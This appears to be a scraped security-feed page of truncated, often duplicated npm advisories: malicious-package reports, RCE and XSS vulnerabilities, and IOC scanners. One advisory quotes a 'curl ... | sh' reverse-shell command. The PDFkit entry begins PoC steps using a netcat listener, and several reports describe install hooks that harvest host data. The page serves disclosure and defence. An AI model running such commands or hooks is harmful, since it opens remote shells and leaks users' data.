The vulnerability of the NPM packet manager’s vm2 library, related to a flaw in the data protection mechanism, allows attackers to execute arbitrary code.

The vulnerability of the NPM packet manager’s library vm2 is related to a breach in data protection mechanisms. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary code...

Malicious code in keroeltop (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c1791fee7ca80cf7d21f57837b64f0c31594194a2733fa7a94eda87e9235199 [email protected] is a lure package whose index.js runs on every npm lifecycle phase preinstall/install/postinstall/prepare and issues an HTTP reque...

MAL-2026-16297 Malicious code in keroeltop (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c1791fee7ca80cf7d21f57837b64f0c31594194a2733fa7a94eda87e9235199 [email protected] is a lure package whose index.js runs on every npm lifecycle phase preinstall/install/postinstall/prepare and issues an HTTP reque...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 Detalle Descripción El paquete pdfkit desde 0.0.0 es vulnerable a Inyección de Comandos donde la URL no está debidamente saneada. PoC Iniciar un servidor HTTP root@kitploit: 1- python3 -m http.server 80 Iniciar un listener de netcat root@kitploit: 2- nc -lnvp...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE 漏洞利用工具 一个用于检测和测试 expr-eval 与 expr-eval-fork npm 包中 CVE-2025-12735 漏洞的安全研究工具。 ⚠️ 免责声明 本工具仅用于授权的安全测试和教育目的 。未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确书面测试许可的系统上使用本工具。 📋 概述 CVE-2025-12735 是 expr-eval 和 expr-eval-fork npm 包中的一个严重远程代码执行漏洞。该漏洞允许攻击者在解析器使用的 context 对象内定义任意函数，从而注入执行系统级命令的恶意代码...

Malicious code in @insiderintelligence/googleadmanager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostnam...

MAL-2026-16290 Malicious code in @insiderintelligence/googleadmanager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostnam...

MAL-2026-16294 Malicious code in internallib_v949 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...

Malicious code in internallib_v949 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...

scavenger_scanner

CVE-2025-54313 IOC Scanner Escáneres multiplataforma para detectar Indicadores de Compromiso IOCs relacionados con el ataque a la cadena de suministro de eslint-config-prettier CVE-2025-54313. El 18 de julio de 2025, varios paquetes npm populares fueron comprometidos mediante un ataque de phishin...

NPM: File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer

NPM: File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer vulnerability discovered by ? in WordPress Npm msdoc-viewer versions = 0.2.1...

NPM: adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)

NPM: adm-zip: Uncontrolled memory allocation via the declared uncompressed size DoS vulnerability discovered by ? in WordPress Npm adm-zip versions 0.6.1...

NPM: md-editor-v3: XSS via fenced-code language rendering bypass

NPM: md-editor-v3: XSS via fenced-code language rendering bypass vulnerability discovered by ? in WordPress Npm md-editor-v3 versions = 6.5.3...

Malicious code in test890-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a873f4ca1e603a5d6dc6d888de73a7f2c766a66af13f56a49538034e1e8706fd On npm install, index.js runs as a preinstall script and collects installer-side identifiers - home directory path, hostname, username, configured DN...

Malicious code in test89-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c2b8794dc6672c38596cd891ce414dc2bce8c9db38cd8e08afc51b411415639e [email protected] runs node index.js from its preinstall lifecycle hook. On npm install, index.js collects host identity hostname, whoami, id, uname...

MAL-2026-16289 Malicious code in test890-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a873f4ca1e603a5d6dc6d888de73a7f2c766a66af13f56a49538034e1e8706fd On npm install, index.js runs as a preinstall script and collects installer-side identifiers - home directory path, hostname, username, configured DN...

MAL-2026-16288 Malicious code in test89-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c2b8794dc6672c38596cd891ce414dc2bce8c9db38cd8e08afc51b411415639e [email protected] runs node index.js from its preinstall lifecycle hook. On npm install, index.js collects host identity hostname, whoami, id, uname...

revera

Revera La calificación crediticia de los paquetes npm. Revera te ayuda a decidir si vale la pena instalar un paquete antes de ejecutar npm install. Analiza la calidad del paquete, el mantenimiento, la seguridad, la salud del ecosistema y la confianza del publicador — y ahora propaga el riesgo de...

Malicious code in test8999-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6edad84dcdfc0fbb2164a86dd74f831f3da2bc940794e1f157f9de2d159f7545 package.json declares a preinstall hook that runs index.js on npm install. index.js requires childprocess, os, http, and https, then collects host...

MAL-2026-16286 Malicious code in test8999-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6edad84dcdfc0fbb2164a86dd74f831f3da2bc940794e1f157f9de2d159f7545 package.json declares a preinstall hook that runs index.js on npm install. index.js requires childprocess, os, http, and https, then collects host...